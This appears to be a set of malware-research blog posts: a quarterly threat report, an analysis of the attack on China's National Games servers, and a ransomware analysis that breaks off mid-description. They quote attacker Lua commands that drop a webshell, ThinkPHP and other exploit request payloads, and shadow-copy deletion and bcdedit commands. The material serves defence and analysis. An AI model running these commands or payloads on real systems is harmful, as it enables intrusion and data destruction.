Adolf Středa, Malware Researcher

Coinminers

Even though cryptocurrencies experienced turbulent times, we actually saw an increase of malicious coin mining activity, it increased by a whooping 40% in our user base in Q4’21, as can be seen on the daily spreading chart below. This increase could be also influenced by the peak in Ethereum and Bitcoin prices in November. 

The heat map below shows that in comparison to the previous quarter, there was a higher risk of a coin miner infection for users in Serbia and Montenegro. This is mainly due to a wider spreading of web miners in these regions, attempting to mine cryptocurrencies while the victim is visiting certain webpages. XMRig is still the leader choice among the popular coinminers.

CoinHelper is one of the prevalent coinminers that was still very active throughout Q4’21, mostly targeting users in Russia and the Ukraine. When the malware is executed on a victim’s system, CoinHelper downloads the notorious XMRig miner via the Tor network and starts to mine. Apart from coin mining, CoinHelper also harvests various information about its victims to recognize their geolocation, what AV solution they have installed, and what hardware they are using.

The malware is being spread in the form of a bundle with many popular applications, cracked software such as MS Office, games and game cheats like Minecraft and Cyberpunk 2077, or even clean installers, such as Google Chrome or AV products, as well as hiding in Windows 11 ISO image, and many others. The scope of the spreading is also supported by seeding the bundled apps via torrents, further abusing the unofficial way of downloading software.

Even though we observed multiple crypto currencies, including Ethereum or Bitcoin, configured to be mined, there was one particular type that stood out – Monero. Even though Monero is designed to be anonymous, thanks to the wrong usage of addresses and the mechanics of how mining pools work, we were able to get a deeper look into the malware authors’ Monero mining operation and find out that the total monetary gain of CoinHelper was 339,694.86 USD as of November, 29, 2021.

Cryptocurrency	Earnings in USD	Earnings in cryptocurrency	Number of wallets
Monero	$292,006.08	1,216.692 [XMR]	311
Bitcoin	$46,245.37	0.800 [BTC]	54
Ethereum	$1,443.41	0.327 [ETH]	5

Since the release of our CoinHelper blogpost, the miner was able to mine an additional ~15.162 XMR as of December 31, 2021 which translates to ~3,446.03 USD. With this calculation, we can say that at the turn of the year 2021, CoinHelper was still actively spreading, with the ability to mine ~0.474 XMR every day.

Jan Rubín, Malware Researcher
Jakub Kaloč, Malware Researcher

Information Stealers

In comparison with the previous quarters, we saw a slight decrease in information stealer in activity. The reason behind this is mainly a significant decrease in Fareit infections, which dropped by 61%. This places Fareit to sixth position from the previously dominant first rank, holding roughly 9% of the market share now. To this family, as well as to all the others, we wish a happy dropping in 2022!

The most prevalent information stealers in Q4’21 were AgentTesla, FormBook, and RedLine stealers. If you happen to get infected by an infostealer, there is almost a 50% chance that it will be one of these three.

Even though infostealers are traditionally popular around the world, there are certain regions where there is a greater risk of encountering one. Users in Singapore, Yemen, Turkey, and Serbia are most at risk of losing sensitive data. Out of these countries, we only saw an increase in risk ratio in Turkey when comparing the ratios to Q3’21.

Finally, malware strains based on Zeus still dominate the banking-trojan sector with roughly 40% in market share. However, one of these cases, the Citadel banker, experienced a significant drop in Q4’21, providing ClipBanker a space to grow.

Jan Rubín, Malware Researcher

LatAm Region

Latin America has always been an interesting area in malware research due to the unique and creative TTPs employed by multiple threat groups operating within this regional boundary. During Q4’21, a threat group called Chaes dominated Brazil’s threat landscape with infection attempts detected from more than 66,600 of our Brazilian customers. Compromising hundreds of WordPress web pages with Brazilian TLD, Chase serves malicious installers masquerading as Java Runtime Installers in Portuguese. Using a complex Python in-memory loading chain, Chaes installs malicious Google Chrome extensions onto victims’ machines. These extensions are capable of intercepting and collecting data from popular banking websites in Brazil such as Mercado Pago, Mercado Livre, Banco do Brasil, and Internet Banking Caixa.

Ousaban is another high-profile regional threat group whose operations in Brazil can be traced back to 2018. Getting massive attention in Q2’21 and Q3’21, Ousaban remains active during the Q4’21 period with infection attempts detected from 6,000+ unique users. Utilizing a technique called side-loading, Ousaban’s malicious payload is loaded by first executing a legitimate Avira application within a Microsoft Installer. The download links to these installers are mainly found in phishing emails which is Ousaban’s primary method of distribution.

Anh Ho, Malware Researcher
Igor Morgenstern, Malware Researcher

Ransomware

Let’s go back in time a little bit at first, before we dive into Q4’21 ransomware activity. In Q3’21, ransomware warfare was escalating, without a doubt. Most active strains were more prevalent than ever before. There were newspaper headlines about another large company being ransomed every other day, a massive supply-chain attack via MSP, record amounts of ransom payments, and sky-high self-esteem of cybercriminals.

While unfortunate, this havoc triggered a coordinated cooperation of nations, government agencies, and security vendors to hunt down ransomware authors and operators. The FBI, the U.S. Justice Department, and the U.S. Department of State started putting marks on ransomware gangs via multi-million bounties, the U.S. military acknowledged targeting cybercriminals who launch attacks on U.S. companies, and we even started witnessing actions by Russian officials. The most critical part was the busts of ransomware-group members by the FBI, Europol, and DoJ in Q4’21.

We believe all of this resulted in a significant decrease in ransomware attacks in Q4’21. In terms of the ransomware risk ratio, it was lower by an impressive 28% compared to Q3’21. We hope to see a continuation of this trend in Q1’22, but we are also prepared for the opposite.

The positive decrease of the risk ratio Q/Q was evident in the majority of countries where we have our telemetry, with a few exceptions such as Bolivia, Uzbekistan, and Mongolia (all with more than +400% increase), Kazakhstan and Belarus (where the risk ratio doubled Q/Q), Russia (+49%), Slovakia (+37%), or Austria (+25%).

The most prevalent strains from Q3’21 either vanished or significantly decreased in volume in Q4’21. For example, the operators and authors of the DarkMatter ransomware went silent, most probably because a $10 million bounty was put on their heads by the FBI. Furthermore, STOP ransomware, which was the most prevalent strain in Q3’21, was still releasing new variants regularly to lure users seeking pirated software, but the number of targeted (and protected) users dropped by 58% and its “market share” decreased by 36%. Another strain worth mentioning was Sodinokibi aka REvil – its presence decreased by 50% in Q4’21 and it will be interesting to monitor its future presence because of the circumstances happening in Q1’22 (greetings to Sodinokibi/REvil gang members currently sitting custody).

The most prevalent ransomware strains in Q4’21: 

• STOP
• WannaCry
• Sodinokibi
• Conti
• CrySiS
• Exotic
• Makop
• GlobeImposter
• GoRansomware
• VirLock

Not everything ransomware related was positive in Q4’21. For example, new strains were discovered that could quickly emerge in prevalence, such as BlackCat (aka ALPHV) with its RaaS model introduced on darknet forums or a low-quality Khonsari ransomware, which took the opportunity to be the first ransomware exploiting the aforementioned Log4j vulnerability and thus beating the Conti in this race.

Last, but not least, I would like to mention new free ransomware decryption tools we’ve released. This time for AtomSilo, LockFile, and Babuk ransomware. AtomSilo is not the most prevalent strain, but it has been constantly spreading for more than a year. So we were happy as our decryptor immediately started helping ransomware victims.

Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)

The last weeks of Q4’21 are also known as “days of peace and joy” and this claim also applies for malicious actors. As you can see in the graph below of RAT activity for this quarter, it is obvious that malware actors are just people and many of them took holiday breaks, that’s probably why the activity level during the end of December more than halved. The periodical drops that can be seen are weekends as most campaigns usually appear from Monday to Thursday.

In the graph below, we can see a Q3/Q4 comparison of the RAT activity.

The heat map below shines with multiple colors like a Christmas tree and among the countries with the highest risk ratio we see Czech Republic, Singapore, Serbia, Greece, and Croatia. We also detected a high Q/Q increase of the risk ratio in Slovakia (+39%), Japan (+30%), and Germany (+23%).

Most prevalent RATs in Q4’21:

• Warzone
• njRAT
• Remcos
• NanoCore
• AsyncRat
• QuasarRAT
• NetWire
• SpyNet
• DarkComet
• DarkCrystal

The volume of attacks and protected users overall was similar to what we saw in Q3’21, but there was also an increase within families, such as Warzone or DarkCrystal (their activity more than doubled), SpyNet (+89%) and QuasarRAT(+21%). 

A hot topic this quarter was a vulnerability in Log4j and in addition to other malware types, some RATs were also spread thanks to the vulnerability. The most prevalent were NanoCore, AsyncRat and Orcus. Another new vulnerability that was exploited by RATs was CVE-2021-40449. This vulnerability was used to elevate permissions of malicious processes by exploiting the Windows kernel driver. Attackers used this vulnerability to download and launch the MistarySnail RAT. Furthermore, a very important cause of high Nanocore and AsyncRat detections was caused by a malicious campaign abusing the cloud providers, Microsoft Azure and Amazon Web Service (AWS). In this campaign malware attackers used Azure and AWS as download servers for their malicious payloads.

But that’s not all, at the beginning of December we found a renamed version of DcRat under the name SantaRat. This renamed version was just pure copy-paste of DcRat, but it shows that malware developers were also in the Christmas spirit and maybe they also hoped that their version of Santa would visit many households as well, to deliver their gift. To be clear, DcRat is a slightly modified version of AsyncRat. 

The developers of DcRat weren’t the only ones playing the role of Santa and distributing gifts. Many other malware authors also delivered RAT related gifts to us in Q4’21.

The first one was the DarkWatchman RAT, written in JavaScript and on top of the programming language used, it differs from other RATs with one other special property: it lives in the system registry keys. This means that it uses registry keys to store its code, as well as to store temporary data, thus making it fileless.

Another RAT that appeared was ActionRAT, released by the SideCopy APT group in an attack on the government of Afghanistan. This RAT uses base64 encoding to obfuscate its strings and C&C domains. Its capabilities are quite simple, but still powerful so it could execute commands from a C&C server, upload, download and execute files, and retrieve the victim’s machine details.

We also observed two new RATs spread on Linux systems. CronRAT's name already tells us what it uses under the hood, but for what? This RAT uses cron jobs, which are basically scheduled tasks on Linux systems to store payloads. These tasks were scheduled on 31.2. (a non-existent date) and that’s why they were not triggered, so the payload could remain hidden. The second RAT from the Linux duo was NginRAT which was found on servers that were previously infected with CronRAT and served the same purpose: to provide remote access to the compromised systems.

Even though we saw a decrease in RAT activity at the end of December it won’t stay that way. Malicious actors will likely come back from their vacations fresh and will deliver new surprises. So stay tuned.

Samuel Sidor, Malware Researcher

Rootkits

We have recorded a significant increase in rootkit activity at Q4’21, illustrated in the chart below. This phenomenon can be explained by the increase in adware activity since the most active rootkit was the Cerbu rootkit. The primary function of Cerbu is to hijack browser homepages and redirect site URLs according to the rootkit configuration. So, this rootkit can be easily deployed and configured for adware.

The graph below shows that China is still the most at risk countries in terms of protected users, although attacks in China decreased by about 17%.

In Q4’21, the most significant increase of risk ratio was in Egypt and Vietnam. On the other hand, Taiwan, Hong Kong, and China reported approximately the same values as in the previous quarter. The most protected users were in the Czech Republic, Russian Federation, China, and Indonesia.

Martin Chlumecký, Malware Researcher

Technical support scams (TSS)

During the last quarter, we registered a significant wave of increased tech support scam activity. In Q4’21, we saw peaks at the end of December and we are already seeing some active spikes in January.

Activity of a long-term TSS campaign

The top targeted countries for this campaign are the United States, Brazil, and France. The activity of this campaign shows the tireless effort of the scammers and proves the increasing popularity of this threat.

In combination with other outgoing long-term campaigns, our data also shows two high spikes of activity of another campaign, lasting no longer than a few days, heavily targeting the United States and Canada, as well as other countries in Europe. This campaign had its peak at the end of November and the beginning of December, then it slowly died out.

Rise and fall and slow fall of the second campaign

Example of a typical URL for this short campaign:

hxxp://159.223.148.40/ViB888Code0MA888Error0888HElp008ViB700Vi/index.html

hxxp://157.245.222.59/security-alert-attention-dangerous-code-65296/88WiLi88Code9fd0CH888Error888HElp008700/index.html

We also noticed attempts at innovation as new variants of TSS samples appeared. So, not just a typical locked browser with error messages but other imitations like Amazon Prime, and PayPal. We are of course tracking these new variants and will see how popular they will be in the next quarter.

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

As was already mentioned in the foreword, the vulnerability news in Q4’21 was dominated by Log4Shell. This vulnerability in Log4j – a seemingly innocent Java logging utility – took the infosec community by storm. It was extremely dangerous because of the ubiquity of Log4j and the ease of exploitation, which was made even easier by several PoC exploits, ready to be weaponized by all kinds of attackers. The root of the vulnerability was an unsafe use of JNDI lookups, a vulnerability class that Hewlett Packard researchers Alvaro Muñoz and Oleksandr Mirosh already warned about in their 2016 BlackHat talk. Nevertheless, the vulnerability existed in Log4j from 2013 until 2021, for a total of eight years.

For the attackers, Log4Shell was the greatest thing ever. They could just try to stuff the malicious string into whatever counts as user input and observe if it gets logged somewhere by a vulnerable version of Log4j. If it does, they just gained remote code execution in the absence of any mitigations. For the defenders on the other hand, Log4Shell proved to be a major headache. They had to find all the software in their organization that is (directly or indirectly) using the vulnerable utility and then patch it or mitigate it. And they had to do it fast, before the attackers managed to exploit something in their infrastructure. To make things even worse, this process had to be iterated a couple of times, because even some of the patched versions of Log4j turned out not to be that safe after all.

From a research standpoint, it was interesting to observe the way the exploit was adopted by various attackers. First, there were only probes for the vulnerability, abusing the JNDI DNS service provider. Then, the first attackers started exploiting Log4Shell to gain remote code execution using the LDAP and RMI service providers. The JNDI strings in-the-wild also became more obfuscated over time, as the attackers started to employ simple obfuscation techniques in an attempt to evade signature-based detection. As time went on, more and more attackers exploited the vulnerability. In the end, it was used to push all kinds of malware, ranging from simple coinminers to sophisticated APT implants.

In other vulnerability news, we continued our research into browser exploit kits. In October, we found that Underminer implemented an exploit for CVE-2021-21224 to join Magnitude in attacking unpatched Chromium-based browsers. While Magnitude stopped using its Chromium exploit chain, Underminer is still using it with a moderate level of success. We published a detailed piece of research about these Chromium exploit chains, so make sure to read it if you’d like to know more.

Jan Vojtěšek, Malware Researcher

Web skimming 

One of the top affected countries by web skimming in Q4’21 was Saudi Arabia, in contrast with Q3’21 we protected four times as many users in Saudi Arabia in Q4. It was caused by an infection of e-commerce sites souqtime[.]com and swsg[.]co. The latter loads malicious code from dev-connect[.]com[.]de. This domain can be connected to other known web skimming domains via common IP 195[.]54[.]160[.]61. The malicious code responsible for stealing credit card details loads only on the checkout page. In this particular case, it is almost impossible for the customer to recognize that the website is compromised, because the attacker steals the payment details from the existing payment form. The payment details are then sent to the attackers website via POST request with custom encoding (multiple base64 and substitution). The data sending is triggered on an “onclick” event and every time the text from all input fields is sent.

In Australia the most protected users were visitors of mobilitycaring[.]com[.]au. During Q4’21 this website was sending payment details to two different malicious domains, first was stripe-auth-api[.]com, and later the attacker changed it to booctstrap[.]com. This domain is typosquatting mimicking bootstrap.com. This is not the first case we observed where an attacker changed the exfiltration domain during the infection.

In Q4’21, we protected nearly twice as many users in Greece as in Q3’21. The reason behind this was the infected site retro23[.]gr, unlike the infected site from Saudi Arabia (swsg[.]co), in this case the payment form is not present on the website, therefore the attacker inserted their own. But as we can see in the image below, that form does not fit into the design of the website. This gives customers the opportunity to notice that something is wrong and not fill in their payment details. We published a detailed analysis about web skimming attacks, where you can learn more.

Pavlína Kopecká, Malware Analyst

Mobile

Premium SMS – UltimaSMS

Scams that siphon victims’ money away through premium SMS subscriptions have resurfaced in the last few months. Available on the Play Store, they mimic legitimate applications and games, often featuring catchy adverts. Once downloaded, they prompt the user to enter their phone number to access the app. Unbeknownst to the user, they are then subscribed to a premium SMS service that can cost up to $10 per week.

As users often aren’t inherently familiar with how recurring SMS subscriptions work, these scams can run for months unnoticed and cause an expensive phone bill for the victims. Uninstalling the app doesn’t stop the subscription, the victim has to contact their provider to ensure the subscription is properly canceled, adding to the hassle these scams create.

Avast has identified one such family of Premium SMS scams – UltimaSMS. These applications serve only to subscribe victims to premium SMS subscriptions and do not have any further functions. The actors behind UltimaSMS extensively used social media to advertise their applications and accrued over 10M downloads as a result.

According to our data the most targeted countries were those in the Middle East, like Qatar, Oman, Saudi Arabia or Kuwait. Although we’ve seen instances of these threats active even in other areas, like Europe, for instance in our home country – the Czech Republic. We attribute this widespread reach of UltimaSMS to its former availability on the Play Store and localized social media advertisements.

Jakub Vávra, Malware Analyst

Spyware – Facestealer

A newcomer this year, Facestealer, resurfaced on multiple occasions in Q4’21. It is a spyware that injects JavaScript into the inbuilt Android Webview browser in order to steal Facebook credentials. Masquerading as photo editors, horoscopes, fitness apps and others, it has been a continued presence in the last few months of 2021 and it appears to be here to stay. 

Facestealer apps look legitimate at first and they fulfill their described app functions. After a period of time, the apps’ C&C server sends a command to prompt the user to sign in to Facebook to continue using the app, without adverts. Users may have their guard down as they’ve used the app without issue up until now. The app loads the legitimate Facebook login website and injects malicious JS code to skim the users’ login credentials. The user may be unaware their social media account has been breached.

It is likely that, as with other spyware families we’ve seen in the past, Facestealer will be reused in order to target other social media platforms or even banks. The mechanism used in the initial versions can be adjusted as the attackers can load login pages from potentially any platform.

According to our threat data, this threat was mostly targeting our users in Africa and surrounding islands – Niger and Nigeria in the lead, followed by Madagascar, Zimbabwe and others.

Jakub Vávra, Malware Analyst
Ondřej David, Malware Analysis Team Lead

Fake Covid themed apps on the decline

Despite the pandemic raging on and governments implementing various new measures and introducing new applications such as Covid Passports, there’s been a steady decline in the number of fake Covid apps. Various bankers, spyware and trojans that imitated official Covid apps flooded the mobile market during 2020 and first half of 2021, but it seems they have now returned to disguising themselves as delivery apps, utility apps and others that we have seen before.

It’s possible that users aren’t as susceptible to fake Covid apps anymore or that the previous methods of attack proved more efficient for these pieces of malware, as evidenced for example on the massively successful campaigns of FluBot, which we reported on previously. Cerberus/Alien variants stood out as the bankers that were on the frontlines of fake Covid-themed apps. But similarly to some of this year’s newcomers such as FluBot or Coper bankers, the focus has now shifted back to the “original” attempts to breach users’ phones through SMS phishing while pretending to be a delivery service app, bank app or others.

During the beginning of the pandemic we were able to collect hundreds to thousands of new unique samples monthly disguising themselves as various apps connected to providing Covid information, Covid passes, vaccination proofs or contact tracing apps or simply just inserting the Covid/Corona/Sars keywords in their names or icons. During the second half of 2021 this trend has been steadily dropping. In Q4’21 we have seen only low 10s of such new samples.

Jakub Vávra, Malware Analyst
Ondřej David, Malware Analysis Team Lead

Acknowledgements / Credits

The post Avast Q4/21 Threat report appeared first on Avast Threat Labs.

Introduction

On September 15, 2021 the National Games of China began in the Chinese city of Shaanxi. It is an event similar if not identical to the Olympics, but only hosts athletes from China. Earlier in September, our colleague David Álvarez found a malware sample with a suspicious file extension of a picture and decided to investigate where it came from. Later, he also found a report of the incident from the National Games IT team on VirusTotal stating that the attack occurred before the Games started. Attached to the report were access logs from the web-server and SQL database. By analyzing these logs, we gathered initial information about the attack. These logs only include request path, and sadly do not reveal content of POST requests much needed to fully understand what commands attackers sent to their web shells, but even with this limited information we were able to outline the attack and determine the initial point of intrusion with moderate confidence.

In this posting, we are sharing our own research on the incident, the samples and the exploits used by the attackers, detailing what appears to be a successful breach of systems hosting content for the National Games prior to the event. We based our research on publicly accessible information about the incident. The analyzed samples were already present on VirusTotal.

Based on the initial information from the report and our own findings, it appears the breach was successfully resolved prior to the start of the games. We are unable to detail what actions the attackers may have taken against the broader network. We also are unable to make any conclusive attribution of the attackers, though have reason to believe they are either native Chinese-language speakers or show high fluency in Chinese.

Gaining access

The evidence indicates that the attackers gained initial code execution at around 10:00AM local time on September 3, 2021 and installed their first reverse shell executing scripts called runscript.lua. We suspect that the way this happened is via an arbitrary file-read exploit targeting either route.lua which, according to the API (Application User Interface) extracted from various JavaScript files, is a LUA script containing a lot of functionality from handling login authentication to manipulation of files or index.lua in combination with index.lua?a=upload API that was not used by anyone else in the rest of the network log. It’s also worth noting that runscript.lua was not mentioned in the report or included in the attacker uploaded files.

After gaining initial access the attackers uploaded several other reverse shells such as conf.lua, miss1.php or admin2.php (see table 2 for source code) to gain a more permanent foothold in the network in case one of the shells got discovered. These reverse shells get commands via a POST request, thus the data is not present in the logs attached with the report as they only contain the URL path.

In the screenshot we can see that the attackers were getting a lot of data returned to them from the backdoors (highlighted)

Even more so the logs in the report don’t contain full information about the network traffic such that we could with certainty determine how and when the attackers gained their first web shell. We estimated our findings by looking for a point in time from which they uploaded and interacted with the first custom web shell we can find.

What they did there

The attackers started doing some tests on what they were able to upload to the server. From August 26, 2021 to September 9, 2021 the attackers tried submitting files with different file-types and also file extensions. For instance, they submitted the same legitimate image ( 7775b6a45da80c1a8a0f8e044c34be823693537a0635327b967cc8bff3cb349a) with different file extensions: ico, lua, js, luac, txt, html and rar.

After gaining knowledge on blocked and allowed file types, they tried to submit executable code. Of course, they started submitting PoCs instead of directly executing a webshell because submitting PoCs is more stealthy and also allows one to gain knowledge on what the malicious code is allowed to do. For instance, one of the files uploaded was this Lua script camouflaged as an image (20210903-160250-168571-ab1c20.jpg):

os.execute("touch","/tmp/test.miss")

Taking advantage of the Lua io.popen function, which executes a command and returns process output, the attackers used variants of the following command camouflaged as images to test different webshells:

io.popen("echo 'Base64EncodedWebshell' |base64 -d  > ../mod/remote/miss.php")

They tested different Chinese webshells (i.e. Godzilla webshell), but this information is not enough to confidently attribute the attack to any threat actor.

The attackers decided to reconfigure the web server by uploading their own www.conf file camouflaged as a PNG file consisting of a default configuration but allowing the .lua extension to be executed. We suspect that the server was configured to execute new threads in a thread pool which didn’t work for Rebeyond Behinder (a powerful Chinese webshell) they wanted to execute. They were not able to successfully reconfigure the server to execute it. So, as final payload, they uploaded and ran an entire Tomcat server properly configured and weaponized with Rebeyond Behinder.

It is important to mention that they were able to upload some tools (dnscrypt-proxy, fscan, mssql-command-tool, behinder) to the server and execute a network scanner (fscan) and a custom one-click exploitation framework that we want to discuss below in more detail.

The aforementioned Chinese scanner and exploitation framework is written in Go programming language and distributed as a single binary, which allows to execute all the steps of exploitation by simply feeding it with an IP or a range of IPs (those can be passed as arguments to the program or using a text file) which makes of it an excellent tool to quickly hack computer systems belonging a network environment.

The tool is well organized. It is structured with plugins that allow it to perform all the necessary steps to autonomously hack other devices within the same network.

1. Plugins/Web/Finger: Performs a fingerprint to recognize services. Currently, it supports the following fingerprints: IBM, Jboss, shiro, BIG-IP, RuiJie, Tomcat, Weaver, jeecms, seeyon, shterm, tongda, zentao, Ueditor, ioffice, outlook, yongyou, Coremail, easysite, FCKeditor, Fortigate, FineReport, SangforEDR, Springboot, thinkphp_1, thinkphp_2, thinkphp_3, thinkphp_4, easyConnect and weblogic_async.
2. Plugins/Service: Attacks services in order to get access to it. Currently, it supports the following services: ssh, smb, redis, mysql, mssql, ms17010 (EternalBlue SMB exploit) and ftp.
3. Plugins/PwdTxt: Lists of both, username and password, short dictionaries for each service in Plugins/Service allowing to perform a brief brute force attack on the service.
4. Plugins/Web/Poc: Modules to exploit common web applications. Currently, it supports the following exploits: Jeecms_SSRF1, yongyou_rce1, RuiJie_RCE1, outlook_ews, thinkphp_RCE1, thinkphp_RCE2, thinkphp_RCE3, thinkphp_RCE4, thinkphp_RCE5, thinkphp_RCE6, RuiJie_Upload1, Weaver_Upload1, yongyou_upload1, weblogic_console, phpstudy_backdoor, yongyou_readFile1, Jboss_unAuthConsole, Jboss_CVE_2017_12149, weblogic_CVE_2019_2618.

An example of a Plugin is plugins/Web/Poc/Weblogic_CVE_2019_2618. 

In the left side of the following screenshot you can see a scan executed in our lab, targeting a Python server (terminal in the right side of the screenshot) with the exploit payload request highlighted in a red rectangle.

For more information on the payloads, please, refer to IoCs, Table 2.

Conclusion

The procedure followed by the attackers hacking the 14th National Games of China is not new at all. They gained access to the system by exploiting a vulnerability in the web server. This shows the need for updating software, configuring it properly and also being aware of possible new vulnerabilities in applications by using vulnerability scanners.

The most fundamental security countermeasure for defenders consists in keeping the infrastructure up-to-date in terms of patching. Especially for the Internet facing infrastructure.

Prevention should be the first priority for both internal and Internet facing infrastructure.

Webshells are a post exploitation tool that can be very difficult to detect. Some webshells don’t even touch the filesystem residing only in memory; this can make it even harder to detect and identify. After implanting, webshells are mostly identified via unusual network traffic or anomalous network traffic indicators.

To protect against this kind of attack, it is important to deploy more layers of protection (i.e. SELinux, Endpoint Detection and Response solutions and so on) such that you can detect and quickly act when a successful intrusion happens.

After gaining access, the attackers tried to move through the network using exploits and bruteforcing services in an automated way. Since getting to this point is very possible for attackers, defenders must be prepared. Real Time monitoring of computer systems and networks is the right way to do that.

Finally, the attackers used an exploitation framework written in the Go programming language to move through the network. Go is a programming language becoming more and more popular which can be compiled for multiple operating systems and architectures, in a single binary self-containing all dependencies. So we expect to see malware and grey tools written in this language in future attacks, especially in IoT attacks where a broad variety of devices leveraging different kinds of processor architectures are involved.

IoCs

SHA + original filename	Description
0c6ae9de10bee6568ec3ad24918c829b7e5132cc0dd1665d4bbf1c3fe84451b6 20210902-104211-659035-88486d.zip	Encrypted ZIP file
0d1504a9ae319bdc320f938d2cdf72cba18277b3f2b311abf0bacad2517dabc0 20210903-163606-280628-0a82f3.txt	Shellcode dropper
cac30cc2f4646979d0be8b4d5f3a1f87351b3bb77f22e5064bd034cec9e119bb 20210903-170452-952751-b9106e.txt	Single line shellcode
0aeb963b4566dc2224d34b4885336c666198db2ac64c810586ce3b17ef3da59f 20210903-171141-909389-0f6e83.txt	Rebeyond shellcode dropper
dffa7e31797339f3ce7ec453161b60010eda3dd2e52aa9f147ab4389672c3536 20210903-194355-378055-c6cb9c.txt	Shellcode dropper
bdd4d0bb36d07ae6b97ffbcd386c54e1b15fefe65329ff0389dfd5739cd3cff2 20210904-122732-780555-5c07b2.rar	UPX compressed Mssql Toolkit
3a8dc7e730a1f82f65f1731cb31e05e2f749a9e89ab8529168a082d24680d2dd 20210904-153039-541730-a843fe.zip	FScan for Linux
ec8aef085d3cc57a4e92a613e128f2d9c7b5f03b8e017dd80d89bfeada228639 20210904-160830-117786-b5cab7.rar 20210904-161031-883832-c50992.rar	Custom exploitation framework
2cab3b0391bf3ace689fc697f522b3c86411e059ab8c1f4f5b7357b484b93035 20210904-164301-268472-915428.zip	Rebeyond Behinder webshell
d033756a57d8a2758de40895849e2146d571b3b44f3089eb68c31483784586cd 20210904-112719-261644-c9c5eb.jpg	UPX Compressed DNS Proxy for Linux

Proof of concept	Payload
Yongyou_upload1	Request	GET /aim/equipmap/accept.jsp
ThinkPHP_RCE4	Request	POST /index.php?s=/Index/\\think\\app/invokefunction
	Data	function=call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
ThinkPHP_RCE5	Request	POST /index.php?s=/Index/\\think\\app/invokefunction
	Data	function=call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
ThinkPHP_RCE6	Request	POST /public/?s=captcha/MTIzNDU2
	Data	_method=__construct&filter[]=print_r&method=GET&s=1
yongyou_rce1	Request	GET /service/monitorservlet
RuiJie_Upload1	Request	GET /ddi/server/fileupload.php
Weaver_Upload1	Request	GET /page/exportImport/uploadOperation.jsp
phpstudy backdoor	Request	GET /
	Headers	User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 Accept-Encoding: gzip,deflate
ThinkPHP_RCE2	Request	GET /index.php?s=index/think\\request/input?data=123456&filter=base64_encode
yongyou_readFile1	Request	GET /NCFindWeb?service=&filename=
weblogic_CVE_2019_2618	Request	GET /bea_wls_deployment_internal/DeploymentService
Outlook ews (Interface blasting)	Request	GET /ews
ThinkPHP_RCE1	Request	GET /index.php?s=index/\\think\\app/invokefunction&function= call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
ThinkPHP_RCE3	Request	GET /index.php?s=index/\\think\\Container/invokefunction&function= call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
CVE_2020_14882	Request	GET /console/
Jboss JMXInvokerServlet (Deserialization)	Request	GET /index.php?s=index/\\think\\Container/invokefunction&function= call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
Jboss (Unauthorized access to the console)	Request	GET /jmx-console/index.jsp
Jboss JMXInvokerServlet (Deserialization)	Request	GET /index.php?s=index/\\think\\Container/invokefunction&function= call_user_func_array&vars[0]=base64_encode&vars[1][]=123456
jeecms SSRF to Upload	Request	GET /ueditor/getRemoteImage.jspx?upfile=http://127.0.0.1:80/1.png
RuiJie_RCE1	Request	GET /guest_auth/guestIsUp.php

Files

• miss1.php
• conf.lua
• admin2.php

IoC repository

Files and IoCs are in our IoC repository

The post Analysis of Attack Against National Games of China Systems appeared first on Avast Threat Labs.

On January 25, 2022, a victim of a ransomware attack reached out to us for help. The extension of the encrypted files and the ransom note indicated the TargetCompany ransomware (not related to Target the store), which can be decrypted under certain circumstances.

Modus Operandi of the TargetCompany Ransomware

When executed, the ransomware does some actions to ease its own malicious work:

1. Assigns the SeTakeOwnershipPrivilege and SeDebugPrivilege for its process
2. Deletes special file execution options for tools like vssadmin.exe, wmic.exe, wbadmin.exe, bcdedit.exe, powershell.exe, diskshadow.exe, net.exe and taskkil.exe
3. Removes shadow copies on all drives using this command:
   %windir%\sysnative\vssadmin.exe delete shadows /all /quiet
4. Reconfigures boot options:
   bcdedit /set {current} bootstatuspolicy ignoreallfailures
bcdedit /set {current} recoveryenabled no
5. Kills some processes that may hold open valuable files, such as databases:

List of processes killed by the TargetCompany ransomware
MsDtsSrvr.exe	ntdbsmgr.exe
ReportingServecesService.exe	oracle.exe
fdhost.exe	sqlserv.exe
fdlauncher.exe	sqlservr.exe
msmdsrv.exe	sqlwrite
mysql.exe

After these preparations, the ransomware gets the mask of all logical drives in the system using the  GetLogicalDrives() Win32 API. Each drive is checked for the drive type by GetDriveType(). If that drive is valid (fixed, removable or network), the encryption of the drive proceeds. First, every drive is populated with the ransom note file (named RECOVERY INFORMATION.txt). When this task is complete, the actual encryption begins.

Exceptions

To keep the infected PC working, TargetCompany avoids encrypting certain folders and file types:

List of folders avoided by the TargetCompany ransomware
msocache	boot	Microsoft Security Client	Microsoft MPI
$windows.~ws	$windows.~bt	Internet Explorer	Windows Kits
system volume information	mozilla	Reference	Microsoft.NET
intel	boot	Assemblies	Windows Mail
appdata	windows.old	Windows Defender	Microsoft Security Client
perflogs	Windows	Microsoft ASP.NET	Package Store
programdata google application data	WindowsPowerShell	Core Runtime	Microsoft Analysis Services
tor browser	Windows NT	Package	Windows Portable Devices
	Windows	Store	Windows Photo Viewer
	Common Files	Microsoft Help Viewer	Windows Sidebar

List of file types avoided by the TargetCompany ransomware
.386	.cpl	.exe	.key	.msstyles	.rtp
.adv	.cur	.hlp	.lnk	.msu	.scr
.ani	.deskthemepack	.hta	.lock	.nls	.shs
.bat	.diagcfg	.icl	.mod	.nomedia	.spl
.cab	.diagpkg	.icns	.mpa	.ocx	.sys
.cmd	.diangcab	.ico	.msc	.prf	.theme
.com	.dll	.ics	.msi	.ps1	.themepack
	.drv	.idx	.msp	.rom	.wpx

The ransomware generates an encryption key for each file (0x28 bytes). This key splits into Chacha20 encryption key (0x20 bytes) and n-once (0x08) bytes. After the file is encrypted, the key is protected by a combination of Curve25519 elliptic curve + AES-128 and appended to the end of the file. The scheme below illustrates the file encryption. Red-marked parts show the values that are saved into the file tail after the file data is encrypted:

The exact structure of the file tail, appended to the end of each encrypted file, is shown as a C-style structure:

Every folder with an encrypted file contains the ransom note file. A copy of the ransom note is also saved into c:\HOW TO RECOVER !!.TXT

